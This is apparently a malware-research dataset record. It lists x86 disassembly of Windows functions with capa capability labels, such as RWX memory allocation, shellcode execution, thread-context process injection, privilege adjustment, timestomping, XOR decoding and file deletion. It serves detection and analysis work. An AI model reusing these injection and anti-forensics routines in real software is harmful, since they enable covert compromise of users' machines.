joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402e2f
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
xor edi, edi
push edi
xor ebx, ebx
mov dword [ebp - 4], edi
call fcn.00405cf5
mov esi, eax
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], esi
call fcn.00402d9c
push eax
push edi
push esi
push dword [ebp + 8]
call fcn.00402dea
push esi
mov dword [ebp - 8], eax
call fcn.00402cb2
add esp, 0x18
test al, al
je 0x402ee0
cmp dword [ebp - 8], edi
je 0x402ee0
push 3
push edi
push esi
call fcn.00405e6b
add esp, 0xc
cmp eax, edi
mov dword [ebp - 4], eax
je 0x402ee0
push dword [ebp - 8]
push eax
call fcn.004035fa
pop ecx
test al, al
pop ecx
je 0x402ee0
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
call fcn.00403446
push 0x401768
push eax
call fcn.00402231
mov esi, eax
add esp, 0x10
cmp esi, edi
je 0x402ee0
call fcn.0040604d
mov ebx, eax
cmp ebx, edi
je 0x402ed0
push edi
push ebx
push esi
call fcn.004062b2
push ebx
call fcn.0040213f
add esp, 0x10
cmp dword [esi], edi
je 0x402edd
mov eax, dword [ebp + 0xc]
push 2
mov dword [eax], esi
jmp 0x402edf
push 1
pop ebx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 4], edi
je 0x402ef7
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret

Function at 0x403009
Capabilities:
Create process on windows

Disassembly:
push ecx
push ebx
push esi
push edi
mov edi, dword [esp + 0x14]
xor ebx, ebx
cmp edi, ebx
mov byte [esp + 0xf], bl
je 0x403028
push edi
call fcn.00402efe
mov esi, eax
pop ecx
cmp esi, ebx
jne 0x40302f
xor al, al
jmp 0x4030c6
push edi
call fcn.00402123
cmp dword [edi], ebx
pop ecx
mov dword [esp + 0x14], eax
je 0x4030b7
mov eax, edi
push ebp
sub edi, esi
push ebx
push ebx
push dword [esi]
push dword [eax]
call fcn.00402dea
push dword [esi]
mov ebp, eax
call fcn.00402cb2
add esp, 0x14
test al, al
je 0x4030ab
cmp ebp, ebx
je 0x4030ab
push 0x4017b8
push dword [esi]
call fcn.004056e9
pop ecx
push eax
call fcn.00406d03
pop ecx
pop ecx
push dword [esi]
test eax, eax
je 0x403085
call fcn.00405fc8
pop ecx
jmp 0x40309e
call fcn.00405f2d
test eax, eax
pop ecx
jne 0x40309e
push 1
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x1f
jb 0x4030ab
push dword [edi + esi]
call fcn.00406184
dec dword [esp + 0x1c]
pop ecx
add esi, 4
cmp dword [edi + esi], ebx
lea eax, [edi + esi]
jne 0x403043
pop ebp
cmp dword [esp + 0x14], ebx
jne 0x4030c2
mov byte [esp + 0xf], 1
mov al, byte [esp + 0xf]
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x40317f
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
cmp word [ebx], 0x5a4d
jne 0x4031f1
mov eax, dword [ebx + 0x3c]
add eax, ebx
cmp dword [eax], 0x4550
jne 0x4031f1
mov esi, dword [eax + 0x78]
mov eax, dword [esi + ebx + 0x20]
add esi, ebx
add eax, ebx
mov ecx, dword [esi + 0x18]
test ecx, ecx
mov dword [ebp - 8], ecx
je 0x4031f1
mov edi, dword [esi + 0x24]
and dword [ebp + 8], 0
add edi, ebx
test ecx, ecx
jle 0x4031f1
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push dword [ebp + 0xc]
mov eax, dword [eax]
add eax, ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x4031e9
inc dword [ebp + 8]
add dword [ebp - 4], 4
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 8]
jl 0x4031c3
jmp 0x4031f1
cmp word [ebp + 8], 0xffff
jne 0x4031f6
or eax, 0xffffffff
jmp 0x403201
movzx eax, word [ebp + 8]
movzx eax, word [edi + eax*2]
add eax, dword [esi + 0x10]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403206
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
cmp word [edi], 0x5a4d
jne 0x4032d2
mov ecx, dword [edi + 0x3c]
add ecx, edi
cmp dword [ecx], 0x4550
jne 0x4032d2
mov eax, dword [ecx + 0x78]
mov edx, dword [ebp + 0xc]
add eax, edi
mov esi, dword [eax + 0x10]
cmp edx, esi
jb 0x4032d2
sub edx, esi
cmp edx, dword [eax + 0x14]
ja 0x4032d2
mov esi, dword [eax + 0x1c]
lea edx, [esi + edx*4]
mov esi, dword [edx + edi]
add esi, edi
cmp esi, eax
jb 0x4032ce
mov ecx, dword [ecx + 0x7c]
add ecx, eax
cmp esi, ecx
jae 0x4032ce
push 0x2e
push esi
call fcn.00406dd2
mov edi, eax
pop ecx
test edi, edi
pop ecx
je 0x4032d2
push 0x104
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.00406e48
mov eax, edi
add esp, 0xc
sub eax, esi
push eax
lea eax, [ebp - 0x104]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
test ebx, ebx
je 0x4032d2
inc edi
push edi
push ebx
call fcn.0040317f
push eax
push ebx
call fcn.00403206
add esp, 0x10
mov esi, eax
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
jmp 0x4032d4
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4032d9
Capabilities:
Enumerate pe sections
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
cmp word [ecx], 0x5a4d
jne 0x40343f
mov esi, dword [ecx + 0x3c]
add esi, ecx
cmp dword [esi], 0x4550
jne 0x40343f
mov eax, dword [esi + 0x78]
mov edi, dword [ebp + 0xc]
add eax, ecx
mov edx, dword [eax + 0x1c]
add edx, ecx
mov ecx, dword [eax + 0x10]
cmp edi, ecx
jb 0x40343f
mov ebx, dword [eax + 0x14]
sub edi, ecx
cmp edi, ebx
mov dword [ebp - 4], ebx
ja 0x40343f
mov edi, dword [edx + edi*4]
add edi, dword [ebp + 8]
cmp edi, eax
jb 0x4033b5
mov ebx, dword [esi + 0x7c]
add ebx, eax
cmp edi, ebx
jae 0x4033b5
push 0x2e
push edi
call fcn.00406dd2
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x40343f
push 0x104
lea eax, [ebp - 0x10c]
push 0
push eax
call fcn.00406e48
mov eax, esi
add esp, 0xc
sub eax, edi
push eax
lea eax, [ebp - 0x10c]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40343f
inc esi
push esi
push edi
call fcn.0040317f
push eax
push edi
call fcn.004032d9
add esp, 0x10
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
jmp 0x403441
mov eax, dword [ebp - 4]
mov dword [ebp + 0xc], 0x7fffffff
cmp eax, 1
jl 0x4033fe
mov ebx, ecx
mov dword [ebp - 8], 4
shl ebx, 2
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
sub ecx, ebx
mov ecx, dword [ecx + edx]
sub ecx, edi
add ecx, dword [ebp + 8]
test ecx, ecx
jle 0x4033ec
cmp dword [ebp + 0xc], ecx
jl 0x4033ec
mov dword [ebp + 0xc], ecx
add dword [ebp - 8], 4
dec dword [ebp - 4]
jne 0x4033d3
cmp dword [ebp + 0xc], 0x7fffffff
jne 0x40343a
movzx eax, word [esi + 0x14]
movzx ebx, word [esi + 6]
lea ecx, [eax + esi + 0x18]
xor eax, eax
test ebx, ebx
jle 0x40343a
lea esi, [ecx + 0xc]
test byte [esi + 0x18], 0x20
je 0x40342b
mov edx, dword [ebp + 8]
mov ecx, dword [esi - 4]
add edx, dword [esi]
add ecx, edx
cmp edi, edx
jb 0x40342b
cmp edi, ecx
jbe 0x403435
inc eax
add esi, 0x28
cmp eax, ebx
jl 0x403413
jmp 0x40343a
sub ecx, edi
mov dword [ebp + 0xc], ecx
mov eax, dword [ebp + 0xc]
jmp 0x403441
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403478
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
push esi
mov esi, dword [esp + 8]
push edi
lea edi, [eax - 4]
xor eax, eax
mov ecx, dword [esi]
test edi, edi
jbe 0x4034ba
push ebx
mov dl, al
mov bl, al
shl dl, 0xa
or dl, al
shl dl, 3
add dl, byte [0x4018c4]
shl bl, 7
xor dl, byte [esi + eax + 4]
or bl, al
shl bl, 0xa
sub dl, bl
sub dl, cl
mov byte [esi + eax + 4], dl
inc eax
cmp eax, edi
jb 0x40348e
pop ebx
pop edi
pop esi
ret

Function at 0x4035c7
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
xor ecx, ecx
cmp dword [esp + 0xc], ecx
jbe 0x4035f9
push ebx
mov dl, byte [esp + 8]
mov bl, cl
add byte [eax], dl
mov dl, byte [eax]
shl bl, 0xa
or bl, cl
shl bl, 3
add bl, byte [0x4018c4]
xor bl, dl
mov byte [eax], bl
inc eax
inc ecx
cmp ecx, dword [esp + 0x10]
jb 0x4035d4
pop ebx
ret
Function at 0x403744
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
mov edi, dword [ecx + eax + 0x50]
mov ebx, dword [ecx + eax + 0x34]
lea eax, [ecx + eax + 0x18]
mov dword [ebp - 8], edi
call fcn.00404e51
test al, al
jne 0x403784
push 0x40
lea eax, [edi + 0x1000]
push 0x8001000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
jmp 0x4037ee
xor esi, esi
add edi, 0x1000
push esi
push edi
push esi
push 4
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, esi
mov dword [ebp - 4], eax
je 0x4037d0
mov edi, dword [sym.imp.KERNEL32.dll_MapViewOfFileEx]
push ebx
push esi
push esi
push esi
push 2
push eax
call edi
mov ebx, eax
cmp ebx, esi
jne 0x4037d4
push esi
push esi
push esi
push esi
push 2
push dword [ebp - 4]
call edi
mov ebx, eax
cmp ebx, esi
jne 0x4037d4
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x40380e
mov eax, dword [ebp + 0xc]
cmp eax, esi
je 0x4037e2
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
jmp 0x4037eb
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 8]
push edi
push dword [ebp + 8]
push ebx
call fcn.00406e20
push dword [ebp + 8]
push ebx
call fcn.00403907
push 1
push ebx
call fcn.00403ac5
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403813
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
push esi
cmp word [eax], 0x5a4d
push edi
jne 0x4038a6
mov ecx, dword [eax + 0x3c]
cmp dword [ecx + eax], 0x4550
lea esi, [ecx + eax]
jne 0x4038a6
cmp word [esi + 0x18], 0x10b
jne 0x4038a6
mov ebx, dword [esi + 0x50]
mov eax, dword [esi + 0x34]
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
push 0x103000
push ebx
push eax
call ebp
mov edi, eax
test edi, edi
jne 0x40386b
push 0x40
push 0x103000
push ebx
push eax
call ebp
mov edi, eax
test edi, edi
je 0x4038a6
push edi
push dword [esp + 0x18]
call fcn.004038b1
pop ecx
test eax, eax
pop ecx
je 0x403898
push dword [esi + 0x34]
push edi
call fcn.00403907
pop ecx
test eax, eax
pop ecx
je 0x403898
push 1
push edi
call fcn.00403ac5
pop ecx
test eax, eax
pop ecx
jne 0x4038aa
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x4038ac
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x403fe7
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
xor esi, esi
cmp dword [ebp + 8], esi
push edi
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], esi
jne 0x40400c
xor eax, eax
jmp 0x4041c7
push dword [ebp + 8]
call fcn.00403f5e
mov edi, eax
pop ecx
cmp edi, esi
jne 0x40401f
push 1
jmp 0x404037
push esi
push esi
push esi
push esi
push 0x4019f0
call dword [0x4078e0]
cmp eax, esi
mov dword [ebp - 0x20], eax
jne 0x40403d
push 2
pop eax
jmp 0x4041c7
push 3
pop ecx
push esi
push esi
push ecx
push esi
push esi
push 0x50
push dword [edi + 0x10]
mov dword [ebp + 8], ecx
push eax
call dword [0x4078e8]
cmp eax, esi
mov dword [ebp - 0x1c], eax
je 0x40419c
push ebx
push 4
pop ebx
push esi
push 0x44400100
push esi
push esi
push esi
mov dword [ebp + 8], ebx
push dword [edi + 0x2c]
push esi
push eax
call dword [0x4078f4]
mov edi, eax
cmp edi, esi
mov dword [ebp - 0x18], edi
je 0x404192
push esi
push esi
push 0xffffffffffffffff
mov dword [ebp + 8], 5
push dword [ebp + 0x14]
push edi
call dword [0x4078f8]
test eax, eax
je 0x404189
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 0x14]
push eax
push 0x20000013
push edi
mov dword [ebp + 8], 6
mov dword [ebp - 8], ebx
call dword [0x4078fc]
test eax, eax
je 0x404189
cmp dword [ebp - 0x14], 0xc8
mov dword [ebp + 8], 7
jne 0x404189
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 4]
push eax
push 0x20000005
push edi
mov dword [ebp + 8], 8
mov dword [ebp - 4], esi
mov dword [ebp - 8], ebx
call dword [0x4078fc]
test eax, eax
jne 0x404116
push esi
lea eax, [ebp - 4]
push esi
push eax
push edi
call dword [0x40790c]
test eax, eax
je 0x404189
mov eax, dword [ebp - 4]
mov dword [ebp + 8], 9
cmp eax, esi
je 0x404189
mov ecx, dword [ebp + 0x10]
mov dword [ebp + 8], 0xa
cmp ecx, esi
je 0x404134
mov dword [ecx], eax
push 3
push eax
push dword [ebp + 0xc]
call fcn.00405e6b
mov edi, eax
add esp, 0xc
cmp edi, esi
mov dword [ebp - 0x10], edi
je 0x404189
xor ebx, ebx
mov dword [ebp + 8], 0xb
mov dword [ebp - 0xc], ebx
lea ecx, [ebp + 0x14]
mov dword [ebp + 0x14], esi
push ecx
push 0x400
push eax
push dword [ebp - 0x18]
call dword [0x4078f0]
test eax, eax
je 0x404181
cmp dword [ebp + 0x14], esi
je 0x404181
add ebx, dword [ebp + 0x14]
mov dword [ebp - 0xc], ebx
lea eax, [ebx + edi]
jmp 0x404157
cmp dword [ebp - 4], ebx
je 0x404189
mov dword [ebp - 0xc], esi
push dword [ebp - 0x18]
call dword [0x4078ec]
push dword [ebp - 0x1c]
call dword [0x4078ec]
pop ebx
push dword [ebp - 0x20]
call dword [0x4078ec]
cmp dword [ebp - 0x10], esi
je 0x4041b3
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [ebp - 0x14]
cmp eax, 0xc8
jne 0x4041c7
mov eax, dword [ebp - 0xc]
cmp eax, esi
jne 0x4041c7
mov eax, dword [ebp + 8]
pop edi
pop esi
leave
ret
Function at 0x4042ca
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d8
push ebx
push esi
push edi
mov ecx, 0xb2
xor eax, eax
lea edi, [ebp - 0x2d4]
or dword [ebp - 4], 0xffffffff
xor ebx, ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x2d8]
mov dword [ebp - 8], ebx
push eax
mov dword [ebp - 0xc], ebx
push dword [ebp + 0xc]
mov dword [ebp - 0x2d8], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x404481
mov ecx, dword [ebp - 0x214]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 4], 0xfffffffe
mov eax, edi
lea esi, [ecx - 0xb88]
and esi, 0xffffffe0
cmp dword [ebp + 0x14], ebx
je 0x404336
lea eax, [edi + 0xa]
mov edx, dword [ebp - 0x228]
mov byte [eax], 0xb8
mov dword [eax + 1], edx
mov edx, dword [ebp - 0x234]
add eax, 5
mov byte [eax], 0xbb
inc eax
mov dword [eax], edx
mov edx, dword [ebp - 0x22c]
add eax, 4
mov byte [eax], 0xb9
inc eax
mov dword [eax], edx
mov edx, dword [ebp - 0x230]
add eax, 4
mov byte [eax], 0xba
inc eax
mov dword [eax], edx
mov edx, dword [ebp - 0x238]
add eax, 4
mov byte [eax], 0xbe
inc eax
mov dword [eax], edx
mov edx, dword [ebp - 0x23c]
add eax, 4
mov byte [eax], 0xbf
inc eax
mov dword [eax], edx
mov edx, dword [ebp - 0x224]
add eax, 4
mov byte [eax], 0xbd
inc eax
mov dword [eax], edx
add eax, 4
mov byte [eax], 0xbc
inc eax
mov dword [eax], ecx
lea ecx, [eax + 4]
mov eax, ecx
sub eax, edi
add eax, esi
jne 0x4043b2
mov eax, ecx
mov edx, dword [ebp - 0x220]
mov byte [ecx], 0xe9
sub edx, eax
inc ecx
sub edx, 5
cmp dword [ebp + 0x14], ebx
mov dword [ecx], edx
je 0x404400
push dword [ebp + 0x18]
sub ecx, edi
add ecx, 4
push dword [ebp + 0x14]
mov ebx, ecx
lea eax, [ebx + edi]
push eax
call fcn.00406e20
lea ecx, [edi + 5]
add esp, 0xc
mov eax, ecx
mov byte [edi], 0x68
sub eax, edi
mov dword [edi + 1], esi
add eax, esi
jne 0x4043f4
mov eax, ecx
sub ebx, eax
mov byte [ecx], 0xe8
lea eax, [ebx + esi - 5]
mov dword [ecx + 1], eax
lea eax, [esi - 4]
mov ebx, 0xb88
mov dword [ebp - 0x214], eax
lea eax, [ebp - 8]
push eax
push 0x40
push ebx
push esi
push dword [ebp + 8]
mov dword [ebp - 0x220], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x404431
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x404481
lea eax, [ebp - 0xc]
mov dword [ebp - 4], 0xfffffffd
push eax
push ebx
push edi
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x404429
push ebx
push esi
push dword [ebp + 8]
mov dword [ebp - 4], 0xfffffffc
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
test eax, eax
je 0x404429
lea eax, [ebp - 0x2d8]
mov dword [ebp - 4], 0xfffffffb
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x404429
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404d98
Capabilities:
Get token privileges

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
lea eax, [ebp - 4]
push edi
xor ebx, ebx
push eax
push 0x28
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x404e37
lea eax, [ebp - 8]
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
push eax
push ebx
push ebx
push 3
push dword [ebp - 4]
call edi
test eax, eax
je 0x404e37
push dword [ebp - 8]
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp esi, ebx
je 0x404e37
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push esi
push 3
push dword [ebp - 4]
call edi
test eax, eax
je 0x404e37
xor ecx, ecx
cmp dword [esi], ebx
jbe 0x404e18
lea eax, [esi + 0xc]
mov dword [eax], 2
inc ecx
add eax, 0xc
cmp ecx, dword [esi]
jb 0x404e0a
push ebx
push ebx
push ebx
push esi
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x404e37
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x404e3b
xor al, al
jmp 0x404e4c
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40530a
Capabilities:
Enumerate internet cache
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
and byte [ebp - 1], 0
push ebx
push esi
mov esi, 0x1000
push edi
push esi
push 8
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push dword [ebp - 8]
xor edi, edi
mov ebx, eax
push edi
push ebx
call fcn.00406e48
mov eax, dword [ebp - 8]
add esp, 0xc
mov dword [ebx], eax
lea eax, [ebp - 8]
push eax
push ebx
push edi
call dword [sym.imp.WININET.dll_FindFirstUrlCacheEntryA]
push esi
push edi
push ebx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], esi
call fcn.00406e48
mov eax, dword [ebp - 8]
mov edi, dword [sym.imp.WININET.dll_FindNextUrlCacheEntryA]
add esp, 0xc
mov dword [ebx], eax
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp - 0xc]
call edi
test eax, eax
je 0x4053b3
push 0x401be4
push dword [ebx + 4]
call fcn.004020e4
pop ecx
test al, al
pop ecx
jne 0x4053af
push esi
push 0
push ebx
mov dword [ebp - 8], esi
call fcn.00406e48
mov eax, dword [ebp - 8]
add esp, 0xc
mov dword [ebx], eax
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp - 0xc]
jmp 0x405378
mov byte [ebp - 1], 1
cmp dword [ebp - 0xc], 0
je 0x4053c2
push dword [ebp - 0xc]
call dword [sym.imp.WININET.dll_FindCloseUrlCache]
cmp byte [ebp - 1], 0
jne 0x4054a1
lea eax, [ebp - 0x18]
push eax
push 0xf003f
push 0
push 0x401ee8
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4054a1
and byte [ebp - 0x41c], al
mov ecx, 0xbf
lea edi, [ebp - 0x41b]
and byte [ebp - 0x11c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x11b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
and dword [ebp - 0xc], 0
mov esi, 0x300
stosb byte es:[edi], al
mov edi, 0x100
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], edi
push esi
lea eax, [ebp - 0x41c]
push 0
push eax
call fcn.00406e48
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x41c]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x10]
push 0
push eax
lea eax, [ebp - 0x11c]
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x405498
lea eax, [ebp - 0x41c]
push 0x401be4
push eax
call fcn.004020e4
pop ecx
test al, al
pop ecx
je 0x405489
mov byte [ebp - 1], 1
inc dword [ebp - 0xc]
cmp byte [ebp - 1], 0
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], edi
je 0x405430
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
je 0x4054b5
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40577f
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
xor ebx, ebx
xor eax, eax
lea edi, [ebp - 0x14]
mov dword [ebp - 0x18], ebx
cmp dword [ebp + 8], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
je 0x40583d
cmp dword [ebp + 0xc], ebx
je 0x40583d
mov esi, 0x4017b0
push 1
push esi
push dword [ebp + 8]
call fcn.00405b77
push ebx
push esi
push dword [ebp + 0xc]
mov dword [ebp + 8], eax
call fcn.00405b77
add esp, 0x18
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp + 0xc], eax
push ebx
push ebx
push 3
pop edi
push edi
push ebx
push edi
push 0x80000000
push dword [ebp + 8]
call esi
push ebx
push ebx
push edi
push ebx
push edi
push 0x40000000
push dword [ebp + 0xc]
mov dword [ebp + 8], eax
call esi
cmp dword [ebp + 8], 0xffffffff
mov edi, eax
je 0x40583d
cmp edi, 0xffffffff
je 0x40583d
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
je 0x40583d
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x405887
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
push ebx
mov ebx, dword [ebp + 0xc]
test ebx, ebx
jne 0x4058b0
lea eax, [ebp - 0x200]
push 0x100
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ebx, [ebp - 0x200]
push dword [ebp + 0x10]
push 0x7a
push 0x61
call fcn.00406ae7
pop ecx
pop ecx
push eax
push 0x7a
push 0x61
call fcn.00406ae7
pop ecx
pop ecx
push eax
push 0x7a
push 0x61
call fcn.00406ae7
pop ecx
pop ecx
push eax
push 0x7a
push 0x61
call fcn.00406ae7
pop ecx
pop ecx
push eax
push 0x7a
push 0x61
call fcn.00406ae7
pop ecx
pop ecx
push eax
push ebx
lea eax, [ebp - 0x100]
push 0x401f24
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x405921
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4058b0
lea eax, [ebp - 0x100]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp + 8]
pop ebx
leave
ret